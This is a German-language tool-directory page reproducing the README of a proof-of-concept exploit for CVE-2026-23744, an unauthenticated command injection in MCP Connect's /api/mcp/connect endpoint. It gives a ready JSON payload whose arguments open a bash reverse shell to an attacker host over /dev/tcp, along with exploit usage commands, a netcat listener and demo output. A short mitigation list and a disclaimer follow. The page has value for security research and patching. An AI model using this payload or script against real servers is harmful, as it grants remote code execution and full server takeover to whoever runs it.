Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-23744 — Proof-of-Concept-Exploit für CVE-2026-23744, eine nicht authentifizierte Befehlsinjektion in MCP Connect, die zu Remote-Code-Ausführung und Reverse Shell führt. | Kitploit
Tools/GitHubGitHub/cylock11/cve-2026-23744
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlRed Teaming
GitHubcylock11/cve-2026-23744

CVE-2026-23744

Proof-of-Concept-Exploit für CVE-2026-23744, eine nicht authentifizierte Befehlsinjektion in MCP Connect, die zu Remote-Code-Ausführung und Reverse Shell führt.

Repository anzeigen
vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-23744 — MCP Connect RCE via Unauthenticated Command Injection

Python Category Type License

⚠️ Haftungsausschluss: Dieses Repository dient ausschließlich Bildungs- und Sicherheitsforschungszwecken. Die Verwendung dieses Exploits gegen Systeme ohne ausdrückliche Genehmigung ist illegal. Der Autor übernimmt keine Verantwortung für den Missbrauch dieses Codes.


📌 Beschreibung der Schwachstelle

Die Schwachstelle liegt im Endpunkt /api/mcp/connect, der es einem nicht authentifizierten Angreifer ermöglicht, einen beliebigen MCP-Server (Model Context Protocol) mit einer bösartigen Konfiguration zu registrieren. Da das Feld command und dessen args weder validiert noch bereinigt werden, ist es möglich, Betriebssystembefehle einzuschleusen, die direkt auf dem Server mit den Rechten des Webprozesses ausgeführt werden.

Dies führt zu einer Remote Code Execution (RCE), die ausgenutzt werden kann, um eine Reverse Shell auf dem kompromittierten System zu erhalten.


🧠 Technische Details

FeldDetail
TypRemote Code Execution (RCE)
VektorNetzwerk (HTTP POST ohne Authentifizierung)
Endpunkt/api/mcp/connect
Schweregrad🔴 Kritisch
AuthentifizierungNicht erforderlich
AuswirkungVollständige Kontrolle über den Server

Bösartiges Payload

root@kitploit:~
{
  "serverId": "shell1",
  "serverConfig": {
    "command": "bash",
    "args": ["-c", "bash -i >& /dev/tcp/<LHOST>/443 0>&1"],
    "env": {}
  }
}

Der Server verarbeitet diese Konfiguration und führt den Befehl bash mit den bereitgestellten Argumenten aus, wodurch eine umgekehrte TCP-Verbindung zum Angreifer aufgebaut wird.


🛠️ Anforderungen

  • Python 3.x
  • Die folgenden Bibliotheken:
root@kitploit:~
pip install requests termcolor

🚀 Verwendung

root@kitploit:~
python3 exploit.py -l <DEINE_IP> -u <ZIEL_URL>

Parameter

ParameterBeschreibungBeispiel
-lDeine IP (wo du die Shell empfängst)192.168.1.50
-uBasis-URL des Zielshttps://victim.com

Vollständiges Beispiel

Terminal 1 — Listener:

root@kitploit:~
nc -nlvp 443

Terminal 2 — Exploit:

root@kitploit:~
python3 exploit.py -l 192.168.1.50 -u https://victim.com

🎬 Demo

root@kitploit:~
[-] Please, execute the following command in another terminal:

[+] nc -nlvp 443

[-] Press 'Enter' when the command has been executed...

[+] Sending attack request...

Sobald die Anfrage gesendet wurde, empfängt der Listener auf Port 443 die umgekehrte Verbindung mit einer interaktiven Shell des kompromittierten Servers.


🛡️ Mitigation

  • Validieren und bereinigen Sie alle Felder des Bodys in /api/mcp/connect, bevor Sie sie verarbeiten.
  • Authentifizieren Sie den Endpunkt und beschränken Sie den Zugriff nur auf Benutzer mit entsprechenden Berechtigungen.
  • Führen Sie niemals Systembefehle direkt basierend auf Benutzereingaben aus.
  • Implementieren Sie eine Whitelist erlaubter Befehle.
  • Wenden Sie das Prinzip der geringsten Privilegien auf den Web-Server-Prozess an.

📁 Repository-Struktur

root@kitploit:~
.
├── exploit.py       # Hauptskript des Exploits
└── README.md        # Diese Datei

👤 Autor

Entwickelt für Forschungszwecke in der offensiven Sicherheit von Jorge Arana Fedriani.

Tool herunterladen